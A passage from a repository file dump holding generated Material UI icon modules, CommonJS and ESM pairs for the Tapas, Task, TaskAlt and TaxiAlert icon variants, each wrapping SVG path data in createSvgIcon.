    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 10V8h4v2c0 1.1-.9 2-2 2s-2-.9-2-2M4 6c-.28 0-.5-.22-.5-.5S3.72 5 4 5h6c.28 0 .5.22.5.5s-.22.5-.5.5zm6 6H4c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h6c.28 0 .5.22.5.5s-.22.5-.5.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10V1h-8v9c0 1.86 1.28 3.41 3 3.86V21h-2v2h6v-2h-2v-7.14c1.72-.45 3-2 3-3.86m-2-7v3h-4V3zm-4 7V8h4v2c0 1.1-.9 2-2 2s-2-.9-2-2m-6-1H8V8h2c1.38 0 2.5-1.12 2.5-2.5S11.38 3 10 3H8V1H6v2H4C2.62 3 1.5 4.12 1.5 5.5S2.62 8 4 8h2v1H4c-1.38 0-2.5 1.12-2.5 2.5S2.62 14 4 14h2v9h2v-9h2c1.38 0 2.5-1.12 2.5-2.5S11.38 9 10 9M4 6c-.28 0-.5-.22-.5-.5S3.72 5 4 5h6c.28 0 .5.22.5.5s-.22.5-.5.5zm6 6H4c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h6c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}, \"1\")], 'TapasTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapasTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 10V8h4v2c0 1.1-.9 2-2 2s-2-.9-2-2M4 6c-.28 0-.5-.22-.5-.5S3.72 5 4 5h6c.28 0 .5.22.5.5s-.22.5-.5.5zm6 6H4c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h6c.28 0 .5.22.5.5s-.22.5-.5.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10V1h-8v9c0 1.86 1.28 3.41 3 3.86V21h-2v2h6v-2h-2v-7.14c1.72-.45 3-2 3-3.86m-2-7v3h-4V3zm-4 7V8h4v2c0 1.1-.9 2-2 2s-2-.9-2-2m-6-1H8V8h2c1.38 0 2.5-1.12 2.5-2.5S11.38 3 10 3H8V1H6v2H4C2.62 3 1.5 4.12 1.5 5.5S2.62 8 4 8h2v1H4c-1.38 0-2.5 1.12-2.5 2.5S2.62 14 4 14h2v9h2v-9h2c1.38 0 2.5-1.12 2.5-2.5S11.38 9 10 9M4 6c-.28 0-.5-.22-.5-.5S3.72 5 4 5h6c.28 0 .5.22.5.5s-.22.5-.5.5zm6 6H4c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h6c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}, \"1\")], 'TapasTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Task.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm-3.06 16L7.4 14.46l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41zM13 9V3.5L18.5 9z\"\n}), 'Task');"
  },
  {
    "path": "packages/mui-icons-material/lib/Task.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm-3.06 16L7.4 14.46l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41zM13 9V3.5L18.5 9z\"\n}), 'Task');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zm-2.21 5.04c.13.57.21 1.17.21 1.78 0 4.42-3.58 8-8 8s-8-3.58-8-8 3.58-8 8-8c1.58 0 3.04.46 4.28 1.25l1.44-1.44C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.19-.22-2.33-.6-3.39z\"\n}), 'TaskAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zm-2.21 5.04c.13.57.21 1.17.21 1.78 0 4.42-3.58 8-8 8s-8-3.58-8-8 3.58-8 8-8c1.58 0 3.04.46 4.28 1.25l1.44-1.44C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.19-.22-2.33-.6-3.39z\"\n}), 'TaskAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zm-2.21 5.04c.13.57.21 1.17.21 1.78 0 4.42-3.58 8-8 8s-8-3.58-8-8 3.58-8 8-8c1.58 0 3.04.46 4.28 1.25l1.44-1.44C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.19-.22-2.33-.6-3.39z\"\n}), 'TaskAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zm-2.21 5.04c.13.57.21 1.17.21 1.78 0 4.42-3.58 8-8 8s-8-3.58-8-8 3.58-8 8-8c1.58 0 3.04.46 4.28 1.25l1.44-1.44C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.19-.22-2.33-.6-3.39z\"\n}), 'TaskAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.29 5.89-10 10c-.39.39-1.02.39-1.41 0l-2.83-2.83a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l2.12 2.12 9.29-9.29c.39-.39 1.02-.39 1.41 0 .4.39.4 1.02.01 1.41m-5.52-3.15c-1.69-.69-3.61-.93-5.61-.57-4.07.73-7.32 4.01-8.01 8.08C1.01 17 6.63 22.78 13.34 21.91c3.96-.51 7.28-3.46 8.32-7.31.4-1.47.44-2.89.21-4.22-.13-.8-1.12-1.11-1.7-.54-.23.23-.33.57-.27.89.22 1.33.12 2.75-.52 4.26-1.16 2.71-3.68 4.7-6.61 4.97-5.1.47-9.33-3.85-8.7-8.98.43-3.54 3.28-6.42 6.81-6.91 1.73-.24 3.37.09 4.77.81.39.2.86.13 1.17-.18.48-.48.36-1.29-.24-1.6-.27-.12-.54-.25-.81-.36\"\n}), 'TaskAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.29 5.89-10 10c-.39.39-1.02.39-1.41 0l-2.83-2.83a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l2.12 2.12 9.29-9.29c.39-.39 1.02-.39 1.41 0 .4.39.4 1.02.01 1.41m-5.52-3.15c-1.69-.69-3.61-.93-5.61-.57-4.07.73-7.32 4.01-8.01 8.08C1.01 17 6.63 22.78 13.34 21.91c3.96-.51 7.28-3.46 8.32-7.31.4-1.47.44-2.89.21-4.22-.13-.8-1.12-1.11-1.7-.54-.23.23-.33.57-.27.89.22 1.33.12 2.75-.52 4.26-1.16 2.71-3.68 4.7-6.61 4.97-5.1.47-9.33-3.85-8.7-8.98.43-3.54 3.28-6.42 6.81-6.91 1.73-.24 3.37.09 4.77.81.39.2.86.13 1.17-.18.48-.48.36-1.29-.24-1.6-.27-.12-.54-.25-.81-.36\"\n}), 'TaskAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zm-2.21 5.04c.13.57.21 1.17.21 1.78 0 4.42-3.58 8-8 8s-8-3.58-8-8 3.58-8 8-8c1.58 0 3.04.46 4.28 1.25l1.44-1.44C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.19-.22-2.33-.6-3.39z\"\n}), 'TaskAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zm-2.21 5.04c.13.57.21 1.17.21 1.78 0 4.42-3.58 8-8 8s-8-3.58-8-8 3.58-8 8-8c1.58 0 3.04.46 4.28 1.25l1.44-1.44C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.19-.22-2.33-.6-3.39z\"\n}), 'TaskAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zm-2.21 5.04c.13.57.21 1.17.21 1.78 0 4.42-3.58 8-8 8s-8-3.58-8-8 3.58-8 8-8c1.58 0 3.04.46 4.28 1.25l1.44-1.44C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.19-.22-2.33-.6-3.39z\"\n}), 'TaskAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5.18 10.59 16.6l-4.24-4.24 1.41-1.41 2.83 2.83 10-10zm-2.21 5.04c.13.57.21 1.17.21 1.78 0 4.42-3.58 8-8 8s-8-3.58-8-8 3.58-8 8-8c1.58 0 3.04.46 4.28 1.25l1.44-1.44C16.1 2.67 14.13 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.19-.22-2.33-.6-3.39z\"\n}), 'TaskAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5zm-9.18-6.95L7.4 14.46 10.94 18l5.66-5.66-1.41-1.41-4.24 4.24z\"\n}), 'TaskOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5zm-9.18-6.95L7.4 14.46 10.94 18l5.66-5.66-1.41-1.41-4.24 4.24z\"\n}), 'TaskOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.41 7.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.42m-9.18 9.88-2.12-2.12a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l1.41 1.41 3.54-3.54c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-4.24 4.24c-.38.4-1.02.4-1.41.01M14 9c-.55 0-1-.45-1-1V3.5L18.5 9z\"\n}), 'TaskRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.41 7.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.42m-9.18 9.88-2.12-2.12a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l1.41 1.41 3.54-3.54c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-4.24 4.24c-.38.4-1.02.4-1.41.01M14 9c-.55 0-1-.45-1-1V3.5L18.5 9z\"\n}), 'TaskRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4v20h16V8zm-3.06 16L7.4 14.46l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41zM13 9V3.5L18.5 9z\"\n}), 'TaskSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4v20h16V8zm-3.06 16L7.4 14.46l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41zM13 9V3.5L18.5 9z\"\n}), 'TaskSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 9V4H6v16h12V9zm-2.06 9L7.4 14.46l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5zm-9.18-6.95L7.4 14.46 10.94 18l5.66-5.66-1.41-1.41-4.24 4.24z\"\n}, \"1\")], 'TaskTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaskTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 9V4H6v16h12V9zm-2.06 9L7.4 14.46l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5zm-9.18-6.95L7.4 14.46 10.94 18l5.66-5.66-1.41-1.41-4.24 4.24z\"\n}, \"1\")], 'TaskTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaxiAlert.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 8A7 7 0 0 0 9.68 5H7v2H4.5a1.5 1.5 0 0 0-1.42 1.01L1 14v8a1 1 0 0 0 1 1h1a1 1 0 0 0 1-1v-1h12v1a1 1 0 0 0 1 1h1a1 1 0 0 0 1-1v-7.68A7.01 7.01 0 0 0 23 8m-18.5.5h4.53a6.93 6.93 0 0 0 2.08 4.5H3zm0 9.5a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3m11 0a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3m2.93-5.63-.21.11-.18.09a5 5 0 0 1-.42.16l-.22.07-.23.06-.2.05a5 5 0 0 1-5.94-4.41A4.1 4.1 0 0 1 11 8l.02-.47.02-.17.04-.28.04-.21.05-.21.07-.24.05-.13a4.99 4.99 0 0 1 9.69 1.7 4.96 4.96 0 0 1-2.55 4.38M15 4h2v5h-2zm0 6h2v2h-2z\"\n}), 'TaxiAlert');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaxiAlert.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 8A7 7 0 0 0 9.68 5H7v2H4.5a1.5 1.5 0 0 0-1.42 1.01L1 14v8a1 1 0 0 0 1 1h1a1 1 0 0 0 1-1v-1h12v1a1 1 0 0 0 1 1h1a1 1 0 0 0 1-1v-7.68A7.01 7.01 0 0 0 23 8m-18.5.5h4.53a6.93 6.93 0 0 0 2.08 4.5H3zm0 9.5a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3m11 0a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3m2.93-5.63-.21.11-.18.09a5 5 0 0 1-.42.16l-.22.07-.23.06-.2.05a5 5 0 0 1-5.94-4.41A4.1 4.1 0 0 1 11 8l.02-.47.02-.17.04-.28.04-.21.05-.21.07-.24.05-.13a4.99 4.99 0 0 1 9.69 1.7 4.96 4.96 0 0 1-2.55 4.38M15 4h2v5h-2zm0 6h2v2h-2z\"\n}), 'TaxiAlert');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaxiAlertOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13v5H4v-5zc-1.91 0-3.63-.76-4.89-2h-8.3l1.04-3h5.44C11.1 7.37 11 6.7 11 6s.1-1.37.29-2H8v2H5.5c-.66 0-1.21.42-1.42 1.01L2 13v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8l-.09-.27c-.61.17-1.25.27-1.91.27\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"3\")], 'TaxiAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaxiAlertOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13v5H4v-5zc-1.91 0-3.63-.76-4.89-2h-8.3l1.04-3h5.44C11.1 7.37 11 6.7 11 6s.1-1.37.29-2H8v2H5.5c-.66 0-1.21.42-1.42 1.01L2 13v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8l-.09-.27c-.61.17-1.25.27-1.91.27\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"3\")], 'TaxiAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaxiAlertRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-1.91 0-3.63-.76-4.89-2h-8.3l1.04-3h5.44C11.1 7.37 11 6.7 11 6s.1-1.37.29-2H9c-.55 0-1 .45-1 1v1H5.5c-.66 0-1.21.42-1.42 1.01L2 13v7.5c0 .82.67 1.5 1.5 1.5S5 21.32 5 20.5V20h12v.5c0 .82.67 1.5 1.5 1.5s1.5-.68 1.5-1.5V13l-.09-.27c-.61.17-1.25.27-1.91.27M6.5 17c-.83 0-1.5-.67-1.5-1.5S5.67 14 6.5 14s1.5.67 1.5 1.5S7.33 17 6.5 17m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m.5-2.5c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5s.5.22.5.5z\"\n}, \"1\")], 'TaxiAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaxiAlertRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-1.91 0-3.63-.76-4.89-2h-8.3l1.04-3h5.44C11.1 7.37 11 6.7 11 6s.1-1.37.29-2H9c-.55 0-1 .45-1 1v1H5.5c-.66 0-1.21.42-1.42 1.01L2 13v7.5c0 .82.67 1.5 1.5 1.5S5 21.32 5 20.5V20h12v.5c0 .82.67 1.5 1.5 1.5s1.5-.68 1.5-1.5V13l-.09-.27c-.61.17-1.25.27-1.91.27M6.5 17c-.83 0-1.5-.67-1.5-1.5S5.67 14 6.5 14s1.5.67 1.5 1.5S7.33 17 6.5 17m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m.5-2.5c0 